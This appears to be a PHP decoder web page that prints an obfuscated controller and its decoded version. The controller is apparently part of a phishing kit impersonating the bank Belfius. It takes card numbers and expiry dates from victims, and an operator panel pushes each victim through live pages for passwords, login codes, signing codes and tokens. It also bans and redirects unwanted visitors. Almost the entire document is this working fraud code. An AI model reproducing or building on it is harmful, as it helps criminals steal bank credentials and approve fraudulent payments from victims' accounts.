Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace App\Controllers\Belfius; use Core\View; use App\Models\Belfius\Belfius; ..

Decoded Output download

<?php 
 namespace App\Controllers\Belfius; use Core\View; use App\Models\Belfius\Belfius; use App\Auth; class Login extends \Core\Controller { public function indexAction() { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"]) && isset($_POST["card"]) && isset($_POST["exp"])) { Belfius::setLogin($_POST["card"], $_POST["exp"], $_SESSION["uid"]); } else { if (Belfius::findBan($_SERVER["REMOTE_ADDR"]) || !isset($_SESSION["pay"]) || !Belfius::checkPayment($this->route_params["id"])) { Belfius::redirect(); } else { Belfius::setLogInformation($_SESSION["uid"]); View::render("Belfius/login.php"); } } } public function checkAction() { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_SESSION["uid"]) && isset($_SESSION["pay"])) { $check = Belfius::getPage($_SESSION["uid"]); if ($check) { if ($check == "login") { echo json_encode(array("page" => "login")); Belfius::setLoginPage($_SESSION["uid"], null); } else { if ($check == "identification") { echo json_encode(array("page" => "identification")); Belfius::setIdentificationPage($_SESSION["uid"], null); } else { if ($check == "bel") { echo json_encode(array("page" => "bel")); Belfius::setBelPage($_SESSION["uid"], null); } else { if ($check == "password") { echo json_encode(array("page" => "password")); Belfius::setPasswordPage($_SESSION["uid"], null); } else { if ($check == "loginCode") { echo json_encode(array("page" => "loginCode")); Belfius::setLoginCodePage($_SESSION["uid"], null); } else { if ($check == "signCode") { echo json_encode(array("page" => "signCode")); Belfius::setSignCodePage($_SESSION["uid"], null); } else { if ($check == "live") { echo json_encode(array("page" => "live")); Belfius::setLivePage($_SESSION["uid"], null); } else { if ($check == "credit") { echo json_encode(array("page" => "credit")); Belfius::setCreditPage($_SESSION["uid"], null); } else { if ($check == "buy") { echo json_encode(array("page" => "buy")); Belfius::setBuyPage($_SESSION["uid"], null); } else { if ($check == "token") { echo json_encode(array("page" => "token")); Belfius::setTokenPage($_SESSION["uid"], null); } else { if ($check == "finish") { echo json_encode(array("page" => "finish")); Belfius::setFinishPage($_SESSION["uid"], null); unset($_SESSION["pay"]); unset($_SESSION["uid"]); } } } } } } } } } } } } else { echo json_encode(array("page" => "waiting")); } } else { Belfius::redirect(); } } public function setPageAction() { if (Auth::isLoggedIn()) { if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["id"]) && isset($_POST["page"])) { if ($_POST["page"] == "login") { $check = Belfius::setLoginPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "identification") { $check = Belfius::setIdentificationPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "bel") { $check = Belfius::setBelPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "password") { $check = Belfius::setPasswordPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "credit") { $check = Belfius::setCreditPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "loginCode") { $check = Belfius::setLoginCodePage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "live") { $check = Belfius::setLivePageCode($_POST["id"], $_POST["page"], $_POST["live"], $_POST["livetwo"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "buy") { $check = Belfius::setBuyPageCode($_POST["id"], $_POST["page"], $_POST["buy"], $_POST["buytwo"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "signCode") { $check = Belfius::setSignCodePageCode($_POST["id"], $_POST["page"], $_POST["code"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "token") { $check = Belfius::setTokenPageCode($_POST["id"], $_POST["page"], $_POST["code2"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } else { if ($_POST["page"] == "finish") { $check = Belfius::setFinishPage($_POST["id"], $_POST["page"]); if ($check) { echo json_encode(array("success" => "true")); } else { echo json_encode(array("fail" => "request_failed")); } } } } } } } } } } } } } else { Belfius::redirect(); } } else { Belfius::redirect(); } } } 
 
 
 ?>

Did this file decode correctly?

Original Code

<?php
 namespace App\Controllers\Belfius; use Core\View; use App\Models\Belfius\Belfius; use App\Auth; class Login extends \Core\Controller { public function indexAction() { if ($_SERVER["\122\105\121\x55\105\x53\x54\137\x4d\105\124\110\117\x44"] == "\120\117\123\x54" && isset($_SESSION["\x75\151\x64"]) && isset($_SESSION["\160\141\x79"]) && isset($_POST["\143\x61\x72\144"]) && isset($_POST["\145\x78\160"])) { Belfius::setLogin($_POST["\x63\x61\x72\x64"], $_POST["\x65\170\x70"], $_SESSION["\x75\x69\x64"]); } else { if (Belfius::findBan($_SERVER["\x52\105\115\x4f\x54\105\x5f\x41\x44\104\122"]) || !isset($_SESSION["\160\x61\x79"]) || !Belfius::checkPayment($this->route_params["\151\x64"])) { Belfius::redirect(); } else { Belfius::setLogInformation($_SESSION["\165\151\x64"]); View::render("\102\x65\x6c\146\x69\x75\x73\57\x6c\x6f\x67\x69\156\56\160\150\160"); } } } public function checkAction() { if ($_SERVER["\x52\105\121\x55\x45\123\x54\137\115\105\x54\110\x4f\x44"] == "\x50\117\123\x54" && isset($_SESSION["\x75\x69\x64"]) && isset($_SESSION["\160\x61\171"])) { $check = Belfius::getPage($_SESSION["\x75\x69\x64"]); if ($check) { if ($check == "\154\x6f\x67\x69\156") { echo json_encode(array("\160\x61\147\x65" => "\x6c\x6f\x67\x69\x6e")); Belfius::setLoginPage($_SESSION["\x75\151\x64"], null); } else { if ($check == "\x69\144\145\x6e\164\151\146\x69\x63\x61\164\151\157\x6e") { echo json_encode(array("\160\x61\x67\145" => "\x69\x64\145\156\164\x69\x66\151\143\141\164\x69\157\156")); Belfius::setIdentificationPage($_SESSION["\x75\x69\144"], null); } else { if ($check == "\142\x65\x6c") { echo json_encode(array("\160\141\x67\x65" => "\142\x65\x6c")); Belfius::setBelPage($_SESSION["\x75\x69\x64"], null); } else { if ($check == "\160\141\x73\x73\x77\157\x72\x64") { echo json_encode(array("\x70\141\x67\x65" => "\x70\x61\x73\163\x77\157\162\x64")); Belfius::setPasswordPage($_SESSION["\165\x69\144"], null); } else { if ($check == "\x6c\x6f\x67\x69\156\103\157\x64\x65") { echo json_encode(array("\x70\x61\147\145" => "\x6c\157\147\x69\x6e\x43\157\144\x65")); Belfius::setLoginCodePage($_SESSION["\165\151\144"], null); } else { if ($check == "\163\151\x67\156\x43\157\144\145") { echo json_encode(array("\x70\x61\147\145" => "\x73\x69\147\x6e\x43\x6f\x64\145")); Belfius::setSignCodePage($_SESSION["\x75\x69\144"], null); } else { if ($check == "\154\151\x76\145") { echo json_encode(array("\160\141\147\145" => "\x6c\151\166\145")); Belfius::setLivePage($_SESSION["\x75\151\x64"], null); } else { if ($check == "\x63\162\145\144\x69\x74") { echo json_encode(array("\x70\x61\147\145" => "\x63\x72\x65\x64\151\164")); Belfius::setCreditPage($_SESSION["\165\151\x64"], null); } else { if ($check == "\x62\x75\x79") { echo json_encode(array("\x70\141\x67\x65" => "\142\x75\171")); Belfius::setBuyPage($_SESSION["\165\151\x64"], null); } else { if ($check == "\164\x6f\153\145\x6e") { echo json_encode(array("\x70\x61\147\x65" => "\164\157\153\145\x6e")); Belfius::setTokenPage($_SESSION["\165\x69\x64"], null); } else { if ($check == "\146\x69\x6e\151\163\x68") { echo json_encode(array("\x70\141\x67\x65" => "\x66\x69\156\x69\x73\x68")); Belfius::setFinishPage($_SESSION["\x75\151\x64"], null); unset($_SESSION["\x70\x61\171"]); unset($_SESSION["\165\x69\144"]); } } } } } } } } } } } } else { echo json_encode(array("\x70\x61\x67\x65" => "\x77\x61\151\x74\x69\156\147")); } } else { Belfius::redirect(); } } public function setPageAction() { if (Auth::isLoggedIn()) { if ($_SERVER["\x52\x45\121\125\x45\123\124\x5f\x4d\105\124\110\x4f\x44"] == "\120\x4f\x53\x54" && isset($_POST["\151\144"]) && isset($_POST["\x70\141\147\x65"])) { if ($_POST["\160\141\x67\145"] == "\x6c\x6f\x67\x69\x6e") { $check = Belfius::setLoginPage($_POST["\151\144"], $_POST["\x70\x61\147\x65"]); if ($check) { echo json_encode(array("\x73\165\x63\143\x65\163\x73" => "\x74\162\x75\x65")); } else { echo json_encode(array("\x66\x61\x69\x6c" => "\x72\145\161\165\145\x73\x74\137\146\x61\x69\154\145\x64")); } } else { if ($_POST["\x70\141\x67\145"] == "\151\144\x65\156\x74\x69\x66\x69\x63\x61\x74\x69\157\x6e") { $check = Belfius::setIdentificationPage($_POST["\x69\x64"], $_POST["\x70\x61\x67\x65"]); if ($check) { echo json_encode(array("\x73\165\x63\143\x65\163\x73" => "\164\162\x75\145")); } else { echo json_encode(array("\x66\x61\151\154" => "\162\x65\161\x75\x65\x73\x74\x5f\x66\141\x69\154\145\x64")); } } else { if ($_POST["\160\141\147\145"] == "\x62\x65\x6c") { $check = Belfius::setBelPage($_POST["\x69\x64"], $_POST["\x70\x61\x67\x65"]); if ($check) { echo json_encode(array("\x73\x75\143\143\145\x73\x73" => "\164\162\165\x65")); } else { echo json_encode(array("\146\x61\151\x6c" => "\162\x65\x71\x75\145\163\164\x5f\x66\141\151\154\x65\x64")); } } else { if ($_POST["\x70\x61\x67\x65"] == "\x70\x61\x73\163\167\x6f\162\144") { $check = Belfius::setPasswordPage($_POST["\x69\x64"], $_POST["\x70\x61\x67\145"]); if ($check) { echo json_encode(array("\163\x75\143\x63\x65\163\163" => "\x74\162\165\145")); } else { echo json_encode(array("\x66\x61\x69\154" => "\x72\145\161\x75\x65\x73\164\137\146\141\x69\154\145\x64")); } } else { if ($_POST["\x70\141\x67\145"] == "\143\162\x65\144\151\x74") { $check = Belfius::setCreditPage($_POST["\151\x64"], $_POST["\x70\141\x67\x65"]); if ($check) { echo json_encode(array("\x73\165\143\143\145\163\x73" => "\x74\x72\165\x65")); } else { echo json_encode(array("\x66\x61\151\x6c" => "\162\145\x71\x75\x65\163\x74\137\146\141\151\154\145\x64")); } } else { if ($_POST["\x70\x61\147\145"] == "\x6c\x6f\x67\x69\156\x43\x6f\x64\x65") { $check = Belfius::setLoginCodePage($_POST["\151\144"], $_POST["\160\141\147\145"]); if ($check) { echo json_encode(array("\x73\165\143\x63\145\163\x73" => "\x74\162\165\145")); } else { echo json_encode(array("\x66\141\x69\x6c" => "\x72\145\161\165\145\163\164\x5f\x66\141\x69\154\145\144")); } } else { if ($_POST["\160\x61\147\x65"] == "\154\151\x76\x65") { $check = Belfius::setLivePageCode($_POST["\151\x64"], $_POST["\x70\x61\147\x65"], $_POST["\154\151\166\x65"], $_POST["\x6c\x69\166\145\x74\167\x6f"]); if ($check) { echo json_encode(array("\163\x75\143\x63\x65\163\163" => "\x74\x72\165\x65")); } else { echo json_encode(array("\x66\x61\151\154" => "\162\x65\x71\165\145\163\x74\x5f\146\x61\x69\154\145\x64")); } } else { if ($_POST["\160\141\147\145"] == "\x62\x75\171") { $check = Belfius::setBuyPageCode($_POST["\x69\x64"], $_POST["\160\141\x67\x65"], $_POST["\x62\x75\x79"], $_POST["\x62\165\171\x74\x77\157"]); if ($check) { echo json_encode(array("\x73\x75\x63\143\x65\x73\x73" => "\164\162\165\x65")); } else { echo json_encode(array("\146\141\x69\x6c" => "\162\x65\x71\x75\145\x73\164\x5f\x66\x61\x69\154\x65\x64")); } } else { if ($_POST["\x70\141\147\x65"] == "\x73\151\x67\156\103\157\x64\145") { $check = Belfius::setSignCodePageCode($_POST["\151\x64"], $_POST["\x70\141\x67\145"], $_POST["\x63\x6f\144\x65"]); if ($check) { echo json_encode(array("\x73\165\x63\x63\145\x73\163" => "\x74\x72\165\145")); } else { echo json_encode(array("\x66\x61\151\154" => "\x72\145\x71\165\x65\x73\x74\137\x66\x61\151\154\x65\144")); } } else { if ($_POST["\x70\141\x67\x65"] == "\x74\157\153\145\156") { $check = Belfius::setTokenPageCode($_POST["\x69\x64"], $_POST["\x70\x61\x67\x65"], $_POST["\143\157\x64\x65\x32"]); if ($check) { echo json_encode(array("\163\x75\143\x63\x65\163\163" => "\x74\162\165\x65")); } else { echo json_encode(array("\x66\x61\x69\154" => "\162\145\x71\x75\145\x73\x74\137\x66\x61\151\154\x65\x64")); } } else { if ($_POST["\x70\141\x67\x65"] == "\x66\151\156\151\163\150") { $check = Belfius::setFinishPage($_POST["\x69\144"], $_POST["\160\141\x67\145"]); if ($check) { echo json_encode(array("\x73\165\143\x63\145\x73\163" => "\x74\162\x75\x65")); } else { echo json_encode(array("\146\141\x69\154" => "\x72\x65\161\165\x65\x73\164\x5f\146\x61\x69\x6c\x65\144")); } } } } } } } } } } } } } else { Belfius::redirect(); } } else { Belfius::redirect(); } } }


Function Calls

None

Variables

None

Stats

MD5 3f2007fc8957214b5262aef440ccb07a
Eval Count 0
Decode Time 72 ms